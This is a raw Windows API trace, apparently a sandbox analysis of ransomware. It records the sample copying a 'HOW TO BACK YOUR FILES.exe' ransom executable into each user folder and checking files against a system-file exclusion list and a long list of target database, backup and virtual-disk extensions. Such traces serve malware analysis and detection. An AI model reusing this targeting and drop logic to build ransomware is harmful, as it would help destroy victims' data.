	[0043.163] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned 69
	[0043.163] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent"
	[0043.163] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.163] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.167] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.168] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5dae0390, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31cc0f30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31cc0f30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.168] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.168] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.168] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.168] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5dae0390, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31cc0f30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31cc0f30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.168] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.168] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.168] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.168] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.168] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90b3d80, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x90b3d80, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x90d9ee0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Global.LNK", cAlternateFileName="")) returned 1
	[0043.168] lstrcmpiW (lpString1="Global.LNK", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.168] lstrcmpiW (lpString1="Global.LNK", lpString2="Apollon865.txt.exe") returned 1
	[0043.168] lstrcmpiW (lpString1="Global.LNK", lpString2=".") returned 1
	[0043.168] lstrcmpiW (lpString1="Global.LNK", lpString2="..") returned 1
	[0043.168] lstrcmpiW (lpString1="Global.LNK", lpString2="windows") returned -1
	[0043.168] lstrcmpiW (lpString1="Global.LNK", lpString2="bootmgr") returned 1
	[0043.168] lstrcmpiW (lpString1="Global.LNK", lpString2="temp") returned -1
	[0043.168] lstrcmpiW (lpString1="Global.LNK", lpString2="pagefile.sys") returned -1
	[0043.168] lstrcmpiW (lpString1="Global.LNK", lpString2="boot") returned 1
	[0043.168] lstrcmpiW (lpString1="Global.LNK", lpString2="ids.txt") returned -1
	[0043.168] lstrcmpiW (lpString1="Global.LNK", lpString2="ntuser.dat") returned -1
	[0043.168] lstrcmpiW (lpString1="Global.LNK", lpString2="perflogs") returned -1
	[0043.168] lstrcmpiW (lpString1="Global.LNK", lpString2="MSBuild") returned -1
	[0043.168] lstrlenW (lpString="Global.LNK") returned 10
	[0043.168] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*") returned 71
	[0043.168] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="Global.LNK" | out: lpString1="Global.LNK") returned="Global.LNK"
	[0043.168] lstrlenW (lpString="Global.LNK") returned 10
	[0043.169] lstrlenW (lpString="Apollon865") returned 10
	[0043.169] lstrlenW (lpString=".dll") returned 4
	[0043.169] lstrcmpiW (lpString1="Global.LNK", lpString2=".dll") returned 1
	[0043.169] lstrlenW (lpString=".lnk") returned 4
	[0043.169] lstrcmpiW (lpString1="Global.LNK", lpString2=".lnk") returned 1
	[0043.169] lstrlenW (lpString=".ini") returned 4
	[0043.169] lstrcmpiW (lpString1="Global.LNK", lpString2=".ini") returned 1
	[0043.169] lstrlenW (lpString=".sys") returned 4
	[0043.169] lstrcmpiW (lpString1="Global.LNK", lpString2=".sys") returned 1
	[0043.169] lstrlenW (lpString="Global.LNK") returned 10
	[0043.169] lstrlenW (lpString="bak") returned 3
	[0043.169] lstrcmpiW (lpString1="LNK", lpString2="bak") returned 1
	[0043.169] lstrlenW (lpString="ba_") returned 3
	[0043.169] lstrcmpiW (lpString1="LNK", lpString2="ba_") returned 1
	[0043.169] lstrlenW (lpString="dbb") returned 3
	[0043.169] lstrcmpiW (lpString1="LNK", lpString2="dbb") returned 1
	[0043.169] lstrlenW (lpString="vmdk") returned 4
	[0043.169] lstrcmpiW (lpString1=".LNK", lpString2="vmdk") returned -1
	[0043.169] lstrlenW (lpString="rar") returned 3
	[0043.169] lstrcmpiW (lpString1="LNK", lpString2="rar") returned -1
	[0043.169] lstrlenW (lpString="zip") returned 3
	[0043.169] lstrcmpiW (lpString1="LNK", lpString2="zip") returned -1
	[0043.169] lstrlenW (lpString="tgz") returned 3
	[0043.169] lstrcmpiW (lpString1="LNK", lpString2="tgz") returned -1
	[0043.169] lstrlenW (lpString="vbox") returned 4
	[0043.169] lstrcmpiW (lpString1=".LNK", lpString2="vbox") returned -1
	[0043.169] lstrlenW (lpString="vdi") returned 3
	[0043.169] lstrcmpiW (lpString1="LNK", lpString2="vdi") returned -1
	[0043.169] lstrlenW (lpString="vhd") returned 3
	[0043.169] lstrcmpiW (lpString1="LNK", lpString2="vhd") returned -1
	[0043.169] lstrlenW (lpString="vhdx") returned 4
	[0043.169] lstrcmpiW (lpString1=".LNK", lpString2="vhdx") returned -1
	[0043.169] lstrlenW (lpString="avhd") returned 4
	[0043.169] lstrcmpiW (lpString1=".LNK", lpString2="avhd") returned -1
	[0043.169] lstrlenW (lpString="db") returned 2
	[0043.170] lstrcmpiW (lpString1="NK", lpString2="db") returned 1
	[0043.170] lstrlenW (lpString="db2") returned 3
	[0043.170] lstrcmpiW (lpString1="LNK", lpString2="db2") returned 1
	[0043.170] lstrlenW (lpString="db3") returned 3
	[0043.170] lstrcmpiW (lpString1="LNK", lpString2="db3") returned 1
	[0043.170] lstrlenW (lpString="dbf") returned 3
	[0043.170] lstrcmpiW (lpString1="LNK", lpString2="dbf") returned 1
	[0043.170] lstrlenW (lpString="mdf") returned 3
	[0043.170] lstrcmpiW (lpString1="LNK", lpString2="mdf") returned -1
	[0043.170] lstrlenW (lpString="mdb") returned 3
	[0043.170] lstrcmpiW (lpString1="LNK", lpString2="mdb") returned -1
	[0043.170] lstrlenW (lpString="sql") returned 3
	[0043.170] lstrcmpiW (lpString1="LNK", lpString2="sql") returned -1
	[0043.170] lstrlenW (lpString="sqlite") returned 6
	[0043.170] lstrcmpiW (lpString1="al.LNK", lpString2="sqlite") returned -1
	[0043.170] lstrlenW (lpString="sqlite3") returned 7
	[0043.170] lstrcmpiW (lpString1="bal.LNK", lpString2="sqlite3") returned -1
	[0043.170] lstrlenW (lpString="sqlitedb") returned 8
	[0043.170] lstrcmpiW (lpString1="obal.LNK", lpString2="sqlitedb") returned -1
	[0043.170] lstrlenW (lpString="xml") returned 3
	[0043.170] lstrcmpiW (lpString1="LNK", lpString2="xml") returned -1
	[0043.170] lstrlenW (lpString="$er") returned 3
	[0043.170] lstrcmpiW (lpString1="LNK", lpString2="$er") returned 1
	[0043.170] lstrlenW (lpString="4dd") returned 3
	[0043.170] lstrcmpiW (lpString1="LNK", lpString2="4dd") returned 1
	[0043.170] lstrlenW (lpString="4dl") returned 3
	[0043.170] lstrcmpiW (lpString1="LNK", lpString2="4dl") returned 1
	[0043.170] lstrlenW (lpString="^^^") returned 3
	[0043.170] lstrcmpiW (lpString1="LNK", lpString2="^^^") returned 1
	[0043.170] lstrlenW (lpString="abs") returned 3
	[0043.170] lstrcmpiW (lpString1="LNK", lpString2="abs") returned 1
	[0043.170] lstrlenW (lpString="abx") returned 3
	[0043.170] lstrcmpiW (lpString1="LNK", lpString2="abx") returned 1
	[0043.170] lstrlenW (lpString="accdb") returned 5
	[0043.170] lstrcmpiW (lpString1="l.LNK", lpString2="accdb") returned 1
	[0043.171] lstrlenW (lpString="accdc") returned 5
	[0043.171] lstrcmpiW (lpString1="l.LNK", lpString2="accdc") returned 1
	[0043.171] lstrlenW (lpString="accde") returned 5
	[0043.171] lstrcmpiW (lpString1="l.LNK", lpString2="accde") returned 1
	[0043.171] lstrlenW (lpString="accdr") returned 5
	[0043.171] lstrcmpiW (lpString1="l.LNK", lpString2="accdr") returned 1
	[0043.171] lstrlenW (lpString="accdt") returned 5
	[0043.171] lstrcmpiW (lpString1="l.LNK", lpString2="accdt") returned 1
	[0043.171] lstrlenW (lpString="accdw") returned 5
	[0043.171] lstrcmpiW (lpString1="l.LNK", lpString2="accdw") returned 1
	[0043.171] lstrlenW (lpString="accft") returned 5
	[0043.171] lstrcmpiW (lpString1="l.LNK", lpString2="accft") returned 1
	[0043.171] lstrlenW (lpString="adb") returned 3
	[0043.171] lstrcmpiW (lpString1="LNK", lpString2="adb") returned 1
	[0043.171] lstrlenW (lpString="adb") returned 3
	[0043.171] lstrcmpiW (lpString1="LNK", lpString2="adb") returned 1
	[0043.171] lstrlenW (lpString="ade") returned 3
	[0043.171] lstrcmpiW (lpString1="LNK", lpString2="ade") returned 1
	[0043.171] lstrlenW (lpString="adf") returned 3
	[0043.171] lstrcmpiW (lpString1="LNK", lpString2="adf") returned 1
	[0043.171] lstrlenW (lpString="adn") returned 3
	[0043.171] lstrcmpiW (lpString1="LNK", lpString2="adn") returned 1
	[0043.171] lstrlenW (lpString="adp") returned 3
	[0043.171] lstrcmpiW (lpString1="LNK", lpString2="adp") returned 1
	[0043.171] lstrlenW (lpString="alf") returned 3
	[0043.171] lstrcmpiW (lpString1="LNK", lpString2="alf") returned 1
	[0043.171] lstrlenW (lpString="ask") returned 3
	[0043.171] lstrcmpiW (lpString1="LNK", lpString2="ask") returned 1
	[0043.171] lstrlenW (lpString="btr") returned 3
	[0043.171] lstrcmpiW (lpString1="LNK", lpString2="btr") returned 1
	[0043.171] lstrlenW (lpString="cat") returned 3
	[0043.171] lstrcmpiW (lpString1="LNK", lpString2="cat") returned 1
	[0043.171] lstrlenW (lpString="cdb") returned 3
	[0043.171] lstrcmpiW (lpString1="LNK", lpString2="cdb") returned 1
	[0043.171] lstrlenW (lpString="ckp") returned 3
	[0043.171] lstrcmpiW (lpString1="LNK", lpString2="ckp") returned 1
	[0043.172] lstrlenW (lpString="cma") returned 3
	[0043.172] lstrcmpiW (lpString1="LNK", lpString2="cma") returned 1
	[0043.172] lstrlenW (lpString="cpd") returned 3
	[0043.172] lstrcmpiW (lpString1="LNK", lpString2="cpd") returned 1
	[0043.172] lstrlenW (lpString="dacpac") returned 6
	[0043.172] lstrcmpiW (lpString1="al.LNK", lpString2="dacpac") returned -1
	[0043.172] lstrlenW (lpString="dad") returned 3
	[0043.172] lstrcmpiW (lpString1="LNK", lpString2="dad") returned 1
	[0043.172] lstrlenW (lpString="dadiagrams") returned 10
	[0043.172] lstrlenW (lpString="daschema") returned 8
	[0043.172] lstrcmpiW (lpString1="obal.LNK", lpString2="daschema") returned 1
	[0043.172] lstrlenW (lpString="db-journal") returned 10
	[0043.172] lstrlenW (lpString="db-shm") returned 6
	[0043.172] lstrcmpiW (lpString1="al.LNK", lpString2="db-shm") returned -1
	[0043.172] lstrlenW (lpString="db-wal") returned 6
	[0043.172] lstrcmpiW (lpString1="al.LNK", lpString2="db-wal") returned -1
	[0043.172] lstrlenW (lpString="dbc") returned 3
	[0043.172] lstrcmpiW (lpString1="LNK", lpString2="dbc") returned 1
	[0043.172] lstrlenW (lpString="dbs") returned 3
	[0043.172] lstrcmpiW (lpString1="LNK", lpString2="dbs") returned 1
	[0043.172] lstrlenW (lpString="dbt") returned 3
	[0043.172] lstrcmpiW (lpString1="LNK", lpString2="dbt") returned 1
	[0043.172] lstrlenW (lpString="dbv") returned 3
	[0043.172] lstrcmpiW (lpString1="LNK", lpString2="dbv") returned 1
	[0043.172] lstrlenW (lpString="dbx") returned 3
	[0043.172] lstrcmpiW (lpString1="LNK", lpString2="dbx") returned 1
	[0043.172] lstrlenW (lpString="dcb") returned 3
	[0043.172] lstrcmpiW (lpString1="LNK", lpString2="dcb") returned 1
	[0043.172] lstrcmpiW (lpString1="LNK", lpString2="dct") returned 1
	[0043.172] lstrcmpiW (lpString1="LNK", lpString2="dcx") returned 1
	[0043.172] lstrcmpiW (lpString1="LNK", lpString2="ddl") returned 1
	[0043.173] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="index.dat" | out: lpString1="index.dat") returned="index.dat"
	[0043.173] lstrlenW (lpString="index.dat") returned 9
	[0043.173] lstrlenW (lpString="Apollon865") returned 10
	[0043.173] lstrlenW (lpString=".dll") returned 4
	[0043.173] lstrcmpiW (lpString1="index.dat", lpString2=".dll") returned 1
	[0043.173] lstrlenW (lpString=".lnk") returned 4
	[0043.173] lstrcmpiW (lpString1="index.dat", lpString2=".lnk") returned 1
	[0043.173] lstrlenW (lpString=".ini") returned 4
	[0043.173] lstrcmpiW (lpString1="index.dat", lpString2=".ini") returned 1
	[0043.173] lstrlenW (lpString=".sys") returned 4
	[0043.173] lstrcmpiW (lpString1="index.dat", lpString2=".sys") returned 1
	[0043.173] lstrlenW (lpString="index.dat") returned 9
	[0043.173] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="Templates.LNK" | out: lpString1="Templates.LNK") returned="Templates.LNK"
	[0043.173] lstrlenW (lpString="Templates.LNK") returned 13
	[0043.173] lstrlenW (lpString="Apollon865") returned 10
	[0043.173] lstrcmpiW (lpString1="plates.LNK", lpString2="Apollon865") returned 1
	[0043.173] lstrlenW (lpString=".dll") returned 4
	[0043.173] lstrcmpiW (lpString1="Templates.LNK", lpString2=".dll") returned 1
	[0043.173] lstrlenW (lpString=".lnk") returned 4
	[0043.173] lstrcmpiW (lpString1="Templates.LNK", lpString2=".lnk") returned 1
	[0043.173] lstrlenW (lpString=".ini") returned 4
	[0043.173] lstrcmpiW (lpString1="Templates.LNK", lpString2=".ini") returned 1
	[0043.173] lstrlenW (lpString=".sys") returned 4
	[0043.173] lstrcmpiW (lpString1="Templates.LNK", lpString2=".sys") returned 1
	[0043.173] lstrlenW (lpString="Templates.LNK") returned 13
	[0043.173] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network"
	[0043.173] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0043.173] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0043.173] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network") returned 63
	[0043.174] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network"
	[0043.174] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.174] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\network\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.178] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.178] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31ce7090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31ce7090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.178] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.178] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.178] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.178] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31ce7090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31ce7090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.178] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.178] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.178] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.178] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.178] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1
	[0043.179] lstrcmpiW (lpString1="Connections", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.179] lstrcmpiW (lpString1="Connections", lpString2="Apollon865.txt.exe") returned 1
	[0043.179] lstrcmpiW (lpString1="Connections", lpString2=".") returned 1
	[0043.179] lstrcmpiW (lpString1="Connections", lpString2="..") returned 1
	[0043.179] lstrcmpiW (lpString1="Connections", lpString2="windows") returned -1
	[0043.179] lstrcmpiW (lpString1="Connections", lpString2="bootmgr") returned 1
	[0043.179] lstrcmpiW (lpString1="Connections", lpString2="temp") returned -1
	[0043.179] lstrcmpiW (lpString1="Connections", lpString2="pagefile.sys") returned -1
	[0043.179] lstrcmpiW (lpString1="Connections", lpString2="boot") returned 1
	[0043.179] lstrcmpiW (lpString1="Connections", lpString2="ids.txt") returned -1
	[0043.179] lstrcmpiW (lpString1="Connections", lpString2="ntuser.dat") returned -1
	[0043.179] lstrcmpiW (lpString1="Connections", lpString2="perflogs") returned -1
	[0043.179] lstrcmpiW (lpString1="Connections", lpString2="MSBuild") returned -1
	[0043.179] lstrlenW (lpString="Connections") returned 11
	[0043.179] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\*") returned 65
	[0043.179] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="Connections" | out: lpString1="Connections") returned="Connections"
	[0043.179] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0043.179] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x98) returned 0x5995a0
	[0043.179] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc10
	[0043.179] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31ce7090, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31ce7090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.179] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.179] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31ce7090, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31ce7090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.179] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.179] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc30
	[0043.179] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections"
	[0043.179] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995a0 | out: hHeap=0x580000) returned 1
	[0043.179] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0043.179] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned 75
	[0043.179] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections"
	[0043.179] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.180] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\network\\connections\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.184] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.184] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31ce7090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31ce7090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.184] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.184] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.184] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.184] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31ce7090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31ce7090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.184] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.184] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.184] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.184] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.184] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31ce7090, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31ce7090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.184] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.184] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pbk", cAlternateFileName="")) returned 1
